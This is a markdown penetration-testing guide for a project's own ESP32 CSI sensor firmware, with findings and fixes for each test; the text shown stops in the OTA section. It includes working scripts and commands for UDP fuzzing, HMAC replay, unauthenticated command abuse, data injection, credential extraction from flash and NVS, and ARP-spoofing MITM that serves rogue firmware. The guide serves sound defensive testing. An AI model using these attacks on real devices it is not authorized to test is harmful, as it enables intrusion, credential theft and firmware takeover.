Files
esp32-hacking/docs/PENTEST.md
user 31724df63f docs: Add pentest results and update project docs
Executed non-invasive pentest against amber-maple (v1.12-dev):
- Phase 1: mDNS, port scan, binary analysis, eFuse readout
- Phase 2: HMAC timing, command injection (27 tests), replay (6 tests)
- Phase 3: NVS analysis, CVE check (12 CVEs), binary structure
All network-facing tests PASS. Physical security gaps documented.
2026-02-14 21:55:47 +01:00

1579 lines
50 KiB
Markdown

# ESP32 CSI Sensor Firmware -- Practical Pentest Guide
**Target:** ESP32-WROOM-32 running `csi_recv_router` firmware (v1.11/v1.12)
**ESP-IDF:** v5.5.2 | **Protocol:** UDP command/data on ports 5501/5500
**Lab:** Raspberry Pi 5 (Debian trixie), standard Linux tools, esptool.py, optional second ESP32
---
## Table of Contents
1. [Lab Setup and Prerequisites](#1-lab-setup-and-prerequisites)
2. [Network Attack Surface](#2-network-attack-surface)
3. [Protocol Attacks](#3-protocol-attacks)
4. [Firmware Binary Analysis](#4-firmware-binary-analysis)
5. [Hardware Attacks](#5-hardware-attacks)
6. [OTA Attack Surface](#6-ota-attack-surface)
7. [Side-Channel Attacks](#7-side-channel-attacks)
8. [Dependency and CVE Analysis](#8-dependency-and-cve-analysis)
9. [Wireless Attacks](#9-wireless-attacks)
10. [Automated Test Scripts](#10-automated-test-scripts)
---
## 1. Lab Setup and Prerequisites
### Tools to Install
```bash
# Network analysis
sudo apt install -y nmap tcpdump tshark ncat socat
# WiFi (requires compatible adapter -- see section 9)
sudo apt install -y aircrack-ng mdk4 hostapd dnsmasq
# Binary analysis
sudo apt install -y binwalk xxd file
# Python pentest libraries
pip3 install --user scapy bleak pwntools
# ESP32-specific
pip3 install --user esptool
# Ghidra (optional, for deep reverse engineering)
# Download from https://ghidra-sre.org/ -- runs on RPi5 with JDK 17+
sudo apt install -y openjdk-17-jre
```
### Network Topology Reference
```
Raspberry Pi 5 ESP32 Sensors
192.168.129.x 192.168.129.29 (muddy-storm)
|-- eth0 / wlan0 192.168.129.30 (amber-maple)
| 192.168.129.31 (hollow-acorn)
| |
+------------- LAN (WiFi) --------------+
Ports:
5500/udp CSI data (outbound)
5501/udp Commands (inbound)
5353/udp mDNS
```
### Quick Connectivity Check
```bash
# Verify sensors are reachable
for ip in 192.168.129.{29,30,31}; do
echo "STATUS" | ncat -u -w1 "$ip" 5501
done
```
---
## 2. Network Attack Surface
### 2.1 Service Discovery via mDNS
| Field | Value |
|-------|-------|
| **Tests** | Information leakage via mDNS; device enumeration without auth |
| **Tools** | `avahi-browse`, `dig`, `nmap` |
| **Finding** | Device hostname, service type `_esp-csi._udp`, target port exposed |
| **Fix** | Remove instance name "ESP32 CSI Sensor"; consider disabling mDNS in production |
```bash
# Enumerate all ESP32 CSI sensors on the LAN
avahi-browse -art 2>/dev/null | grep -A4 '_esp-csi'
# Alternative using DNS-SD query
dig @224.0.0.251 -p 5353 -t PTR _esp-csi._udp.local +short
# Nmap mDNS service scan
nmap -sU -p 5353 --script=dns-service-discovery 192.168.129.0/24
```
**What a finding looks like:**
```
= muddy-storm [ESP32 CSI Sensor] _esp-csi._udp; port=5500
= amber-maple [ESP32 CSI Sensor] _esp-csi._udp; port=5500
```
All three sensors fully enumerable without any authentication.
---
### 2.2 Port Scanning and Service Fingerprinting
| Field | Value |
|-------|-------|
| **Tests** | Open ports, unexpected services, UDP response behavior |
| **Tools** | `nmap` |
| **Finding** | Open UDP ports 5500, 5501 visible; responses leak firmware version |
| **Fix** | Bind to specific interface IP; require auth for STATUS |
```bash
# Full UDP port scan on a single sensor
nmap -sU -p- --min-rate=1000 192.168.129.29
# Targeted scan with version detection
nmap -sUV -p 5500,5501,5353 192.168.129.29
# Scan all three sensors
nmap -sU -p 5500,5501,5353 192.168.129.29-31
```
---
### 2.3 Traffic Sniffing (Passive)
| Field | Value |
|-------|-------|
| **Tests** | Cleartext data exposure; credential leakage; command replay material |
| **Tools** | `tcpdump`, `tshark` |
| **Finding** | All CSI data, BLE data, commands, HMAC tokens visible in cleartext |
| **Fix** | DTLS for command channel; encrypted data stream (stretch goal) |
```bash
# Capture all ESP32 sensor traffic
sudo tcpdump -i eth0 -nn 'udp and (port 5500 or port 5501)' -w esp32-capture.pcap
# Live decode -- see commands and responses
sudo tcpdump -i eth0 -nn -A 'udp port 5501'
# Extract only command/response pairs with tshark
tshark -r esp32-capture.pcap -Y 'udp.port == 5501' \
-T fields -e ip.src -e ip.dst -e data.text
# Watch for HMAC tokens in transit (to capture for replay testing)
sudo tcpdump -i eth0 -nn -A 'udp port 5501' | grep 'HMAC:'
```
**What a finding looks like:**
```
192.168.129.1.42310 > 192.168.129.29.5501: HMAC:a1b2c3d4....:1234:OTA http://192.168.129.1:8899/fw.bin
192.168.129.29.5501 > 192.168.129.1.42310: OK OTA started
```
Complete HMAC token, timestamp, and command visible to any host on the same network segment.
---
### 2.4 UDP Fuzzing
| Field | Value |
|-------|-------|
| **Tests** | Crash resilience; buffer overflow; malformed input handling |
| **Tools** | Python + `socket`, `radamsa` (if installed), custom scripts |
| **Finding** | Device crash/reboot on malformed input = memory safety bug |
| **Fix** | Bounds checks on all input paths; watchdog recovery |
```bash
# Install radamsa (mutation fuzzer)
sudo apt install -y radamsa
# Generate a corpus of valid commands
cat > /tmp/udp-corpus.txt << 'EOF'
STATUS
CONFIG
PING
HELP
RATE 50
POWER 10
CSI ON
CSI OFF
BLE ON
BLE OFF
ADAPTIVE ON
ADAPTIVE OFF
PRESENCE ON
PRESENCE OFF
CALIBRATE 100
CALIBRATE CLEAR
CALIBRATE STATUS
CSIMODE RAW
CSIMODE COMPACT
CSIMODE HYBRID 10
CHANSCAN NOW
CHANSCAN ON 300
LED QUIET
LED AUTO
LOG VERBOSE
LOG NONE
ALERT TEMP 70
ALERT HEAP 30000
ALERT OFF
FLOODTHRESH 5 10
IDENTIFY
HOSTNAME test-name
TARGET 192.168.129.1 5500
EOF
```
```python
#!/usr/bin/env python3
"""udp_fuzz.py -- Fuzz ESP32 command port with malformed packets."""
import socket
import random
import time
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
PORT = 5501
ITERATIONS = 10000
# Seed corpus
COMMANDS = [
b"STATUS", b"CONFIG", b"PING", b"HELP", b"RATE 50",
b"POWER 10", b"CSI ON", b"BLE ON", b"CALIBRATE 100",
b"CSIMODE RAW", b"HOSTNAME test", b"TARGET 1.1.1.1 5500",
b"HMAC:0000000000000000000000000000000:0:STATUS",
]
def mutate(data: bytes) -> bytes:
"""Simple mutation strategies."""
strategy = random.randint(0, 7)
d = bytearray(data)
if strategy == 0 and len(d) > 0:
# Bit flip
idx = random.randint(0, len(d) - 1)
d[idx] ^= (1 << random.randint(0, 7))
elif strategy == 1:
# Append random bytes
d.extend(random.randbytes(random.randint(1, 200)))
elif strategy == 2:
# Truncate
if len(d) > 1:
d = d[:random.randint(1, len(d) - 1)]
elif strategy == 3:
# Insert null bytes
idx = random.randint(0, len(d))
d[idx:idx] = b'\x00' * random.randint(1, 10)
elif strategy == 4:
# Oversized packet (near MTU limit)
d = random.randbytes(random.randint(192, 1400))
elif strategy == 5:
# Format string specifiers
d = b"STATUS %x%x%x%x%x%x%x%x%n%n"
elif strategy == 6:
# Very long single field
d = b"RATE " + b"9" * random.randint(50, 500)
elif strategy == 7:
# Repeated separator characters
d = b" ".join([b"CMD"] * random.randint(50, 200))
return bytes(d)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(0.2)
alive_count = 0
for i in range(ITERATIONS):
seed = random.choice(COMMANDS)
payload = mutate(seed)
try:
sock.sendto(payload, (TARGET, PORT))
except OSError:
pass
# Periodic liveness check
if i % 100 == 0:
try:
sock.sendto(b"PING", (TARGET, PORT))
resp, _ = sock.recvfrom(1500)
if b"PONG" in resp:
alive_count += 1
else:
print(f"[!] Iteration {i}: unexpected response: {resp[:60]}")
except socket.timeout:
print(f"[!] Iteration {i}: DEVICE NOT RESPONDING -- possible crash!")
time.sleep(5) # Wait for reboot
try:
sock.sendto(b"PING", (TARGET, PORT))
sock.recvfrom(1500)
print(f"[+] Device recovered (rebooted)")
except socket.timeout:
print(f"[!!] Device still down after 5s")
break
# Rate limit to avoid overwhelming (50ms between sends, matching firmware throttle)
time.sleep(0.055)
print(f"Completed {ITERATIONS} iterations, {alive_count} liveness checks passed")
sock.close()
```
**What a finding looks like:**
- Device stops responding to PING after a specific mutation = crash
- Device reboots (boot count increments) = unhandled exception
- Log `[!!] Device still down after 5s` = hard fault
---
## 3. Protocol Attacks
### 3.1 HMAC Timing Analysis
| Field | Value |
|-------|-------|
| **Tests** | Whether HMAC comparison leaks timing information |
| **Tools** | Python + high-resolution timing |
| **Finding** | Statistically significant timing difference between "first byte wrong" vs "last byte wrong" |
| **Fix** | Already implemented: constant-time comparison (line 1525 of `app_main.c`) |
The firmware uses `volatile uint8_t diff` with XOR accumulation (line 1524-1528), which is
the correct pattern. This test validates that it actually works over the network.
```python
#!/usr/bin/env python3
"""hmac_timing.py -- Test for timing oracle in HMAC verification."""
import socket
import time
import statistics
TARGET = "192.168.129.29"
PORT = 5501
SAMPLES = 200
def measure_response(payload: bytes) -> float | None:
"""Send payload, measure response time in microseconds."""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1.0)
start = time.perf_counter_ns()
sock.sendto(payload, (TARGET, PORT))
try:
sock.recvfrom(1500)
except socket.timeout:
sock.close()
return None
elapsed = (time.perf_counter_ns() - start) / 1000 # microseconds
sock.close()
return elapsed
# Test 1: All zeros HMAC (fails on first byte)
all_zeros = b"HMAC:00000000000000000000000000000000:0:STATUS"
# Test 2: HMAC with correct prefix but wrong suffix (if we knew partial secret)
# For blind testing, use different wrong values
half_right = b"HMAC:ffffffffffffffffffffffffffffffff:0:STATUS"
# Test 3: Malformed (no HMAC at all, different code path)
no_hmac = b"STATUS"
print("Collecting timing samples...")
timings = {"all_zeros": [], "all_ff": [], "no_hmac": []}
for i in range(SAMPLES):
t = measure_response(all_zeros)
if t:
timings["all_zeros"].append(t)
time.sleep(0.06)
t = measure_response(half_right)
if t:
timings["all_ff"].append(t)
time.sleep(0.06)
t = measure_response(no_hmac)
if t:
timings["no_hmac"].append(t)
time.sleep(0.06)
for name, samples in timings.items():
if samples:
print(f"{name:12s}: n={len(samples):4d} "
f"mean={statistics.mean(samples):8.0f}us "
f"median={statistics.median(samples):8.0f}us "
f"stdev={statistics.stdev(samples):7.0f}us")
# Statistical test: if mean differs by >50us between zero/ff, possible timing leak
if timings["all_zeros"] and timings["all_ff"]:
diff = abs(statistics.mean(timings["all_zeros"]) - statistics.mean(timings["all_ff"]))
print(f"\nTiming difference (zeros vs ff): {diff:.0f}us")
if diff > 50:
print("[!] POSSIBLE TIMING ORACLE -- difference exceeds 50us")
else:
print("[+] Constant-time comparison appears effective")
```
**What a finding looks like:**
A statistically significant difference (>50us) between different wrong HMACs
would indicate the comparison is not constant-time. Network jitter on a LAN is
typically 100-500us, so this test requires many samples and careful interpretation.
---
### 3.2 Replay Attack (Nonce Cache Overflow)
| Field | Value |
|-------|-------|
| **Tests** | Whether the 8-entry nonce dedup cache can be overflowed to replay commands |
| **Tools** | Python + `hmac` |
| **Finding** | After 8 unique authenticated commands, the first one's nonce is evicted and can be replayed |
| **Fix** | Increase cache size; use monotonic sequence counter instead of timestamp |
The nonce cache is only 8 entries (line 1450: `AUTH_NONCE_CACHE_SIZE 8`).
The timestamp window is +/-5 seconds. Attack: send 8 unique commands rapidly to
fill the cache, then replay the first one.
```python
#!/usr/bin/env python3
"""replay_attack.py -- Test nonce cache overflow for HMAC replay."""
import hashlib
import hmac
import socket
import time
TARGET = "192.168.129.29"
PORT = 5501
SECRET = "YOUR_SECRET_HERE" # from NVS or serial capture
def sign(cmd: str, ts: int) -> bytes:
payload = f"{ts}:{cmd}"
digest = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
return f"HMAC:{digest[:32]}:{payload}".encode()
def send_cmd(sock, payload: bytes) -> str:
sock.sendto(payload, (TARGET, PORT))
try:
resp, _ = sock.recvfrom(1500)
return resp.decode(errors="replace")
except socket.timeout:
return "<timeout>"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1.0)
# Step 1: Get device uptime from STATUS
sock.sendto(b"STATUS", (TARGET, PORT))
resp = sock.recvfrom(1500)[0].decode()
# Parse uptime from STATUS response (format: "uptime=1234s")
uptime = 0
for field in resp.split():
if field.startswith("uptime="):
uptime = int(field.split("=")[1].rstrip("s"))
print(f"Device uptime: {uptime}s")
# Step 2: Sign a target command at current timestamp
target_ts = uptime
target_cmd = sign("STATUS", target_ts)
print(f"\n[1] Initial send of target command:")
print(f" Response: {send_cmd(sock, target_cmd)[:60]}")
time.sleep(0.06)
# Step 3: Replay immediately -- should be rejected
print(f"\n[2] Immediate replay (should be rejected):")
print(f" Response: {send_cmd(sock, target_cmd)[:60]}")
time.sleep(0.06)
# Step 4: Flood cache with 8 different commands to evict the target nonce
print(f"\n[3] Flooding nonce cache with 8 unique commands...")
for i in range(8):
# Use different commands with same timestamp (within window)
filler = sign(f"PING", target_ts + i % 5) # vary slightly
resp = send_cmd(sock, filler)
time.sleep(0.06)
# Step 5: Replay the original command -- should now succeed (cache evicted)
print(f"\n[4] Replaying original command after cache overflow:")
resp = send_cmd(sock, target_cmd)
print(f" Response: {resp[:60]}")
if "ERR AUTH replay" in resp:
print("\n[+] Replay correctly rejected -- cache survived overflow")
elif "ERR AUTH expired" in resp:
print("\n[~] Timestamp expired -- test took too long, retry faster")
else:
print("\n[!] REPLAY SUCCEEDED -- nonce cache overflow confirmed!")
sock.close()
```
**What a finding looks like:**
Step 4 returns a valid response instead of `ERR AUTH replay rejected` = the
8-entry nonce cache was overflowed and the original HMAC was replayed.
---
### 3.3 Unauthenticated Command Abuse
| Field | Value |
|-------|-------|
| **Tests** | Which state-modifying commands work without HMAC authentication |
| **Tools** | `ncat`, simple shell loop |
| **Finding** | CSI OFF, PRESENCE OFF, LOG NONE, CALIBRATE CLEAR, etc. all work without auth |
| **Fix** | Require auth for all state-modifying commands (see VULN-007 in SECURITY-AUDIT.md) |
```bash
# Test every command that modifies state without auth
SENSOR="192.168.129.29"
# Commands that SHOULD require auth but currently don't:
for cmd in \
"CSI OFF" \
"PRESENCE OFF" \
"LOG NONE" \
"CALIBRATE CLEAR" \
"FLOODTHRESH 100 300" \
"ALERT OFF" \
"RATE 10" \
"POWER 2" \
"BLE OFF" \
"ADAPTIVE OFF" \
"LED AUTO" \
"CSIMODE COMPACT" \
"CHANSCAN ON 60" \
"POWERSAVE ON"
do
resp=$(echo "$cmd" | ncat -u -w1 "$SENSOR" 5501)
if echo "$resp" | grep -q "^OK\|^ERR AUTH"; then
prefix=$(echo "$resp" | grep -q "^OK" && echo "VULN" || echo "SAFE")
printf "%-25s %s %s\n" "$cmd" "$prefix" "$resp"
fi
done
```
**What a finding looks like:**
```
CSI OFF VULN OK CSI collection disabled
PRESENCE OFF VULN OK presence detection disabled
LOG NONE VULN OK log level=NONE
CALIBRATE CLEAR VULN OK baseline cleared
FLOODTHRESH 100 300 VULN OK flood_thresh=100 window=300s
```
An attacker can blind all sensors, suppress logging, disable intrusion detection,
all without any credentials.
---
### 3.4 Command Injection via String Fields
| Field | Value |
|-------|-------|
| **Tests** | Whether attacker-controlled strings (HOSTNAME, TARGET) can inject into log output, NVS, or data streams |
| **Tools** | `ncat` |
| **Finding** | Hostname with newlines/special chars could poison downstream log parsers or CSV data |
| **Fix** | Sanitize hostname to `[a-z0-9-]` only; already partially done but verify |
```bash
SENSOR="192.168.129.29"
# Test format string injection in hostname
echo "HOSTNAME %x%x%x%x" | ncat -u -w1 "$SENSOR" 5501
# Test newline injection (could split CSV/log lines)
printf "HOSTNAME test\nINJECT" | ncat -u -w1 "$SENSOR" 5501
# Test null byte injection
printf "HOSTNAME test\x00hidden" | ncat -u -w1 "$SENSOR" 5501
# Test oversized hostname (buffer is char[32])
echo "HOSTNAME $(python3 -c 'print("A"*100)')" | ncat -u -w1 "$SENSOR" 5501
# Test TARGET with format strings
echo "TARGET %s%s%s%s 5500" | ncat -u -w1 "$SENSOR" 5501
```
**What a finding looks like:**
- Response contains hex values from stack = format string vulnerability
- Subsequent STATUS shows corrupted hostname = buffer overflow
- CSV data stream contains injected lines = log injection
---
### 3.5 UDP Data Stream Interception and Injection
| Field | Value |
|-------|-------|
| **Tests** | Whether an attacker can inject fake CSI/BLE/PROBE data into the collector |
| **Tools** | Python `socket` |
| **Finding** | No authentication on the data channel (port 5500); any host can inject fake sensor data |
| **Fix** | Add HMAC signing to data packets; or validate source IP at collector |
```python
#!/usr/bin/env python3
"""inject_data.py -- Inject fake sensor data into the collection server."""
import socket
COLLECTOR = "192.168.129.1" # Flask API host
PORT = 5500
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Inject fake CSI data pretending to be muddy-storm
fake_csi = (
"CSI_DATA,muddy-storm,999999,AA:BB:CC:DD:EE:FF,-50,11,1,0,0,0,0,0,0,"
"0,0,-95,0,6,0,1234567,0,128,0,64,0,\"[0,0,0,0]\"\n"
)
sock.sendto(fake_csi.encode(), (COLLECTOR, PORT))
# Inject fake BLE data (phantom device)
fake_ble = "BLE_DATA,muddy-storm,DE:AD:BE:EF:00:01,-60,ADV_IND,FakeDevice,0x004C,8,6\n"
sock.sendto(fake_ble.encode(), (COLLECTOR, PORT))
# Inject fake probe request (phantom device tracking)
fake_probe = "PROBE_DATA,muddy-storm,DE:AD:BE:EF:00:02,-55,TargetSSID,6\n"
sock.sendto(fake_probe.encode(), (COLLECTOR, PORT))
# Inject fake alert (false alarm)
fake_alert = "ALERT_DATA,muddy-storm,DEAUTH,DE:AD:BE:EF:00:03,FF:FF:FF:FF:FF:FF,-40\n"
sock.sendto(fake_alert.encode(), (COLLECTOR, PORT))
print("Fake data injected -- check Flask API for phantom entries")
sock.close()
```
---
## 4. Firmware Binary Analysis
### 4.1 String Extraction
| Field | Value |
|-------|-------|
| **Tests** | Hardcoded secrets, URLs, IPs, debug messages, format strings |
| **Tools** | `strings`, `grep` |
| **Finding** | WiFi SSID/password, auth hints, API endpoints, build paths in binary |
| **Fix** | Enable flash encryption; strip debug strings in production |
```bash
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"
# Extract all printable strings (min length 6)
strings -n 6 "$FIRMWARE" > /tmp/fw-strings.txt
wc -l /tmp/fw-strings.txt
# Search for credentials and sensitive patterns
grep -iE 'password|passwd|secret|key|token|api_key|ssid' /tmp/fw-strings.txt
grep -iE 'http://|https://|ftp://' /tmp/fw-strings.txt
grep -iE '192\.168\.|10\.|172\.' /tmp/fw-strings.txt
grep -iE 'admin|root|default|test|debug' /tmp/fw-strings.txt
# Search for format strings (potential vulnerability indicators)
grep -E '%[0-9]*[sxdnp]' /tmp/fw-strings.txt
# Search for NVS key names (reveals all configuration knobs)
grep -E '^[a-z_]{3,15}$' /tmp/fw-strings.txt | sort -u
# Search for ESP-IDF version and build info
grep -iE 'idf|esp-idf|v[0-9]+\.[0-9]+' /tmp/fw-strings.txt
# Search for certificate/TLS related strings
grep -iE 'cert|tls|ssl|ca_cert|pem|x509' /tmp/fw-strings.txt
```
**What a finding looks like:**
```
csi_config <- NVS namespace
auth_secret <- Key name for HMAC secret
WIFI_SSID_HERE <- Hardcoded SSID
http:// <- HTTP (not HTTPS) OTA allowed
```
---
### 4.2 Binary Structure Analysis
| Field | Value |
|-------|-------|
| **Tests** | Firmware format, partition layout, bootloader version |
| **Tools** | `esptool.py`, `binwalk`, `file` |
| **Finding** | Partition offsets, firmware not signed, flash encryption absent |
| **Fix** | Enable secure boot v2; enable flash encryption |
```bash
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"
# Image header info
esptool.py image_info "$FIRMWARE"
# Entropy analysis (encrypted firmware has high, uniform entropy)
binwalk -E "$FIRMWARE"
# If entropy is NOT uniformly high, flash encryption is not in use
# Search for embedded files/structures
binwalk "$FIRMWARE"
# Check for ELF sections (if .elf is available)
ELF="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf"
if [ -f "$ELF" ]; then
# List all symbols (reveals function names and global variables)
objdump -t "$ELF" | grep -E 's_auth|s_target|s_hostname|cmd_handle|auth_verify'
# Disassemble specific function
objdump -d "$ELF" | grep -A 50 '<auth_verify>'
# Check for debug info
file "$ELF"
# "not stripped" = full debug symbols present
fi
```
---
### 4.3 NVS Partition Analysis (from flash dump)
| Field | Value |
|-------|-------|
| **Tests** | Extract credentials, auth secret, WiFi PSK from NVS |
| **Tools** | `esptool.py`, ESP-IDF `nvs_tool.py` |
| **Finding** | Auth secret, WiFi credentials, hostname in plaintext NVS |
| **Fix** | Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) + flash encryption |
```bash
# Step 1: Dump NVS partition from device (requires USB connection)
esptool.py -p /dev/ttyUSB0 -b 921600 \
read_flash 0x9000 0x4000 /tmp/nvs_dump.bin
# Step 2: Parse NVS contents using ESP-IDF tool
NVS_TOOL="$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py"
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin
# Step 3: Look for specific keys
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin 2>/dev/null | \
grep -E 'auth_secret|wifi\.sta\.(ssid|password)|hostname|target_ip'
# Alternative: hex dump and manual inspection
xxd /tmp/nvs_dump.bin | grep -i -A2 'auth'
```
**What a finding looks like:**
```
Namespace: csi_config
auth_secret (STR) = a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
hostname (STR) = muddy-storm
Namespace: nvs.net80211
sta.ssid (BLOB) = MyHomeWiFi
sta.pswd (BLOB) = MyWiFiPassword123
```
Both the HMAC secret and WiFi credentials extracted in plaintext.
---
## 5. Hardware Attacks
### 5.1 UART Console Capture
| Field | Value |
|-------|-------|
| **Tests** | Information leakage via serial; auth secret exposure on boot |
| **Tools** | `screen`, `minicom`, `picocom`, USB-to-serial adapter |
| **Finding** | Full boot log with auth secret prefix, all ESP_LOG output |
| **Fix** | `CONFIG_ESP_CONSOLE_NONE=y` or `CONFIG_LOG_DEFAULT_LEVEL_WARN=y` for production |
```bash
# Connect to UART (ESP32-DevKitC has built-in USB-to-serial)
picocom -b 921600 /dev/ttyUSB0
# Or with screen
screen /dev/ttyUSB0 921600
# Capture boot log to file (includes auth secret on first boot/factory reset)
picocom -b 921600 --logfile /tmp/uart-capture.log /dev/ttyUSB0
# Then trigger a factory reset remotely (if you have auth):
# echo "HMAC:<token>:FACTORY" | ncat -u -w1 192.168.129.29 5501
# The new auth secret will appear in the UART log
```
**What a finding looks like:**
```
W (1234) csi_recv_router: AUTH: secret generated (a1b2... -- retrieve via serial or NVS)
```
On firmware versions before the partial-redaction fix, the full 32-char secret was logged.
Current version logs only first 4 chars, but the prefix still aids brute-force.
---
### 5.2 Full Flash Dump and Analysis
| Field | Value |
|-------|-------|
| **Tests** | Complete firmware extraction; credential theft; code modification |
| **Tools** | `esptool.py` |
| **Finding** | Entire flash readable (no flash encryption); firmware modifiable (no secure boot) |
| **Fix** | Enable secure boot v2 + flash encryption (one-way eFuse burn for production) |
```bash
# Dump entire 4MB flash
esptool.py -p /dev/ttyUSB0 -b 921600 \
read_flash 0 0x400000 /tmp/full_flash_dump.bin
# Extract individual partitions based on partition table:
# NVS: 0x9000 - 0xCFFF (16 KB)
# otadata: 0xD000 - 0xEFFF (8 KB)
# phy_init: 0xF000 - 0xFFFF (4 KB)
# ota_0: 0x10000 - 0x1EFFFF (1920 KB)
# ota_1: 0x1F0000- 0x3CFFFF (1920 KB)
dd if=/tmp/full_flash_dump.bin of=/tmp/nvs.bin bs=1 skip=$((0x9000)) count=$((0x4000))
dd if=/tmp/full_flash_dump.bin of=/tmp/ota0.bin bs=1 skip=$((0x10000)) count=$((0x1E0000))
dd if=/tmp/full_flash_dump.bin of=/tmp/ota1.bin bs=1 skip=$((0x1F0000)) count=$((0x1E0000))
# Check if flash encryption is active (encrypted flash has high entropy)
binwalk -E /tmp/ota0.bin
# Flat entropy ~0.5-0.7 = NOT encrypted
# Flat entropy ~1.0 = encrypted
# Write modified firmware back (no secure boot = no signature check)
# WARNING: This bricks the device if you write garbage
# esptool.py -p /dev/ttyUSB0 write_flash 0x10000 /tmp/modified_ota0.bin
```
---
### 5.3 JTAG Debug Access
| Field | Value |
|-------|-------|
| **Tests** | Whether JTAG is accessible; live memory inspection; breakpoints |
| **Tools** | OpenOCD + GDB, JTAG adapter (FT2232H or ESP-PROG, ~$15) |
| **Finding** | JTAG not disabled via eFuse; live debugging possible; memory readable at runtime |
| **Fix** | Burn JTAG disable eFuse: `espefuse.py burn_efuse JTAG_DISABLE` (irreversible) |
ESP32-WROOM-32 JTAG pins (directly on the ESP32 chip, not broken out on most DevKitC boards):
| JTAG Signal | GPIO |
|-------------|------|
| TDI | GPIO 12 |
| TCK | GPIO 13 |
| TMS | GPIO 14 |
| TDO | GPIO 15 |
```bash
# Install OpenOCD for ESP32
sudo apt install -y openocd
# If using an FT2232H adapter:
# Connect JTAG pins to the adapter, then:
openocd -f interface/ftdi/esp32_devkitj_v1.cfg -f target/esp32.cfg
# In another terminal, connect GDB:
# (requires xtensa-esp32-elf-gdb from ESP-IDF toolchain)
xtensa-esp32-elf-gdb /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf
# (gdb) target remote :3333
# (gdb) monitor reset halt
# (gdb) print s_auth_secret # Read HMAC secret from live memory
# (gdb) print s_target_ip # Read target IP
# (gdb) x/32bx &s_auth_secret # Hex dump of secret in memory
```
Note: Most ESP32-DevKitC boards do NOT break out JTAG pins, so this requires
soldering wires to GPIO 12-15. On DevKitC V4 or ESP-PROG, JTAG is on a header.
---
### 5.4 eFuse Analysis
| Field | Value |
|-------|-------|
| **Tests** | Secure boot status, flash encryption status, JTAG disable status |
| **Tools** | `espefuse.py` (part of esptool) |
| **Finding** | All security eFuses unburned = no hardware protections |
| **Fix** | Burn appropriate eFuses for production (irreversible!) |
```bash
# Read all eFuse values (non-destructive, read-only)
espefuse.py -p /dev/ttyUSB0 summary
# Check specific security-relevant eFuses:
espefuse.py -p /dev/ttyUSB0 get_custom_mac # Check if custom MAC set
espefuse.py -p /dev/ttyUSB0 summary 2>&1 | grep -iE 'JTAG|SECURE_BOOT|FLASH_ENCRYPT|ABS_DONE'
```
**What a finding looks like:**
```
JTAG_DISABLE (EFUSE_BLK0) = False <- JTAG accessible
ABS_DONE_0 (EFUSE_BLK0) = False <- Secure boot NOT enabled
FLASH_CRYPT_CNT (EFUSE_BLK0) = 0 <- Flash encryption NOT enabled
```
---
## 6. OTA Attack Surface
### 6.1 MITM OTA with Rogue HTTP Server
| Field | Value |
|-------|-------|
| **Tests** | Whether a MITM attacker can serve malicious firmware during OTA |
| **Tools** | Python HTTP server, ARP spoofing (`arpspoof`/`ettercap`), `mitmproxy` |
| **Finding** | OTA accepts any HTTP server; no TLS cert validation; no firmware signatures |
| **Fix** | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`; add cert pinning; enable secure boot |
```bash
# Step 1: Build a "canary" firmware that proves code execution
# (Modify a non-critical string in the firmware, rebuild, and use as the payload)
# Or use a known-good older version to test version rollback
# Step 2: Serve it via HTTP
cd /home/user/git/esp32-hacking/get-started/csi_recv_router/build/
python3 -m http.server 8899
# Step 3: Trigger OTA (requires auth if enabled)
# If auth is enabled, compute HMAC first using esp-ctl's auth module:
python3 -c "
from esp_ctl.auth import sign_command
import sys
cmd = 'OTA http://192.168.129.1:8899/csi_recv_router.bin'
# You need the device uptime -- get it from STATUS first
print(sign_command(cmd, uptime_s=1234, secret='YOUR_SECRET'))
" | ncat -u -w5 192.168.129.29 5501
# Step 4: If auth is disabled, no HMAC needed:
echo "OTA http://192.168.129.1:8899/csi_recv_router.bin" | \
ncat -u -w5 192.168.129.29 5501
```
### 6.2 ARP-Based MITM for OTA Hijacking
```bash
# Requires: dsniff package (contains arpspoof)
sudo apt install -y dsniff
# Step 1: Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Step 2: ARP poison -- pretend to be the gateway for the ESP32
# Gateway: 192.168.129.1, Target: 192.168.129.29
sudo arpspoof -i eth0 -t 192.168.129.29 192.168.129.1 &
sudo arpspoof -i eth0 -t 192.168.129.1 192.168.129.29 &
# Step 3: Use iptables to redirect HTTP traffic to local server
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
-j REDIRECT --to-port 8899
# Step 4: Serve malicious firmware on port 8899
cd /tmp && python3 -m http.server 8899
# Step 5: When OTA is triggered (by legitimate admin or attacker),
# the ESP32's HTTP request is redirected to the rogue server.
# Since CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y, the firmware accepts it.
# Cleanup:
sudo killall arpspoof
sudo iptables -t nat -F
sudo sysctl -w net.ipv4.ip_forward=0
```
---
### 6.3 Firmware Rollback Attack
| Field | Value |
|-------|-------|
| **Tests** | Whether older, vulnerable firmware versions can be flashed via OTA |
| **Tools** | `esptool.py`, HTTP server |
| **Finding** | No anti-rollback enforcement; any valid ESP32 image is accepted |
| **Fix** | `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y` with eFuse version counter |
```bash
# Serve an older firmware version (e.g., v1.9 without auth hardening)
# Assuming you have the older binary saved:
python3 -m http.server 8899 --directory /path/to/old/builds/
# Trigger OTA with old binary
echo "OTA http://192.168.129.1:8899/old-v1.9-firmware.bin" | \
ncat -u -w5 192.168.129.29 5501
# After reboot, the device runs the old, less-secure firmware.
